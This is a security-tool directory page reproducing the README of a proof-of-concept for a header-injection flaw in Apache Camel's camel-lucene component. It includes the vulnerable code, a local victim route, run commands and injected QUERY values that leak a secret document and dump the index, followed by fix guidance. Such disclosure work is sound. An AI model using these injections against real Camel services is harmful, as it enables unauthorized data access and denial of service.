Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-46585 — Reproducer for CVE-2026-46585: Apache Camel camel-lucene QUERY header injection enabling authorization bypass / index data exfiltration (fixed in 4.14.8/4.18.3/4.21.0) | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-46585
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPenetration Testing
GitHuboscerd/cve-2026-46585

CVE-2026-46585

Reproducer for CVE-2026-46585: Apache Camel camel-lucene QUERY header injection enabling authorization bypass / index data exfiltration (fixed in 4.14.8/4.18.3/4.21.0)

View Repository
52 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

camel-lucene QUERY Header Injection Reproducer (CVE-2026-46585)

This project demonstrates a message-header injection / authorization bypass in Apache Camel's camel-lucene component, tracked as CVE-2026-46585. The Lucene query producer reads the full-text search phrase from an Exchange header, but the header's name was the plain string QUERY (and RETURN_LUCENE_DOCS for the docs flag). Because these names do not start with the Camel / camel prefix, HttpHeaderFilterStrategy — which blocks only the Camel header namespace at the HTTP boundary — let them pass from an inbound HTTP request straight into the Exchange. Any HTTP client hitting a route that exposes a Lucene query behind an HTTP consumer can therefore set the QUERY header and have its value executed against the index, overriding the query the route intended to run.

This PoC demonstrates the impact as authorization bypass / data exfiltration: an unauthenticated client injects raw Lucene query syntax to read a document the public search endpoint was never meant to return (and a match-all query dumps the entire index).

Advisory: https://camel.apache.org/security/CVE-2026-46585.html

Vulnerability Summary

PropertyValue
Componentcamel-lucene
Affected Classorg.apache.camel.component.lucene.LuceneQueryProducer reading LuceneConstants.HEADER_QUERY (value "QUERY")
CWECWE-20 (Improper Input Validation) / CWE-639 (Authorization Bypass Through User-Controlled Key)
ImpactAn HTTP client sets the QUERY header → arbitrary Lucene query executed → read documents outside the intended scope, or CPU-heavy regex queries
PreconditionsA route exposes a lucene:...:query producer behind an HTTP consumer (e.g. platform-http); unauthenticated when the consumer is
Affected VersionsFrom 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0
Fixed Versions4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23509
CreditAndrea Cosentino (Apache Software Foundation) and Yu Bao (PayPal)

Same header-injection family as CVE-2025-27636, CVE-2026-40453, CVE-2026-46454 and CVE-2026-46457, and shares the non-Camel-prefixed header-constant root cause with the camel-elasticsearch SEARCH_QUERY sibling.

Technical Details

// LuceneConstants (affected 4.18.2) — the header name is the bare word "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";

// LuceneQueryProducer.process (affected 4.18.2) — the phrase comes straight from that header:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
    searcher.open(indexDirectory, analyzer);
    hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs);   // attacker-controlled
}

LuceneSearcher parses the phrase with a classic QueryParser("contents", analyzer), so the attacker gets full Lucene query syntax: fielded terms (visibility:secret), match-all (*:*), wildcards, and expensive regular expressions.

The fix (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23509) renames the header values to the Camel convention — HEADER_QUERY from QUERY to CamelLuceneQuery, and HEADER_RETURN_LUCENE_DOCS to CamelLuceneReturnLuceneDocs — so they are filtered on the HTTP boundary like every other Camel control header. The constant field names are unchanged (routes referencing LuceneConstants.HEADER_QUERY keep working); it is a breaking change only for routes that set/read these headers by their raw string value.

The victim route

from("platform-http:/search")
    .removeHeaders("Camel*")                                  // documented hardening — see below
    .to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
    .process(/* render the Hits as text */);

The route author's security model is "this endpoint only serves public search". As documented hardening the route even strips the Camel control-header namespace at the edge with removeHeaders("Camel*"). That does not help: the control header is named QUERY, not CamelLuceneQuery, so it is stripped by neither that call nor the built-in HTTP header filter — which is exactly the point of the CVE (and exactly what the fix's rename addresses).

The index contains three public documents plus one secret document tagged visibility:secret whose body carries a benign flag marker. A normal public search (QUERY=onboarding, a plain term against the default contents field) never returns it; an injected fielded query does.

Repository layout

The victim is the Camel search route and its index; the attacker is an unauthenticated HTTP client that only sets a request header. Everything runs in a single self-contained app.

CVE-2026-46585/
├── pom.xml                 # camel-platform-http + camel-lucene 4.18.2
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── IndexConfig.java          # registers the index directory as a Camel bean (#kbIndexDir)
    │   ├── IndexBootstrap.java       # builds the Lucene index: 3 public docs + 1 secret doc (the flag)
    │   ├── VictimRoute.java          # from("platform-http:/search").to("lucene:kb:query")
    │   └── ExploitController.java    # attacker: GET /search with an injected QUERY header
    └── resources/
        └── application.properties

Prerequisites

  • Java 17+ and Maven 3.8+
  • Docker (optional, for the containerised run)

Reproduction Steps

Option A — Docker (recommended)

mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Option B — run the jar directly

mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack

Expected output

=== 1) Legitimate public search (QUERY=onboarding) ===
  hits=2
    - Frequently asked questions about billing and account onboarding.
    - Welcome onboarding guide: how to use the public knowledge base and search for articles.
  secret leaked: false

=== 2) Injected query (QUERY=visibility:secret) ===
  hits=1
    - CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
  secret leaked: true

=== 3) Match-all query (QUERY=*:*) dumps the whole index ===
  hits=4
    - ... (every document, including the secret one) ...

>>> Authorization-bypass / header-injection proof — an unauthenticated HTTP client read a
>>> document outside the endpoint's intended scope by injecting the QUERY header: true

The legitimate term search returns only public documents. The attack request — differing only by the value of a single header the framework should have filtered — reads the secret document, and a match-all query returns the entire index.

Attack Vectors

Any route with a lucene:...:query producer reachable from an HTTP consumer. Beyond reading unintended documents, the attacker can:

  • Replace a route's intended per-user/tenant filter with *:* or a different field predicate (authorization bypass).
  • Submit expensive wildcard / regular-expression queries to burn CPU (denial of service).

Recommended Fix

Upgrade to 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23509). After upgrading, routes that set the query via the raw header name must use CamelLuceneQuery (and CamelLuceneReturnLuceneDocs) instead of QUERY / RETURN_LUCENE_DOCS; these Camel-namespaced names are filtered at the HTTP boundary like every other control header.

Mitigation

Until upgrading:

Download Tool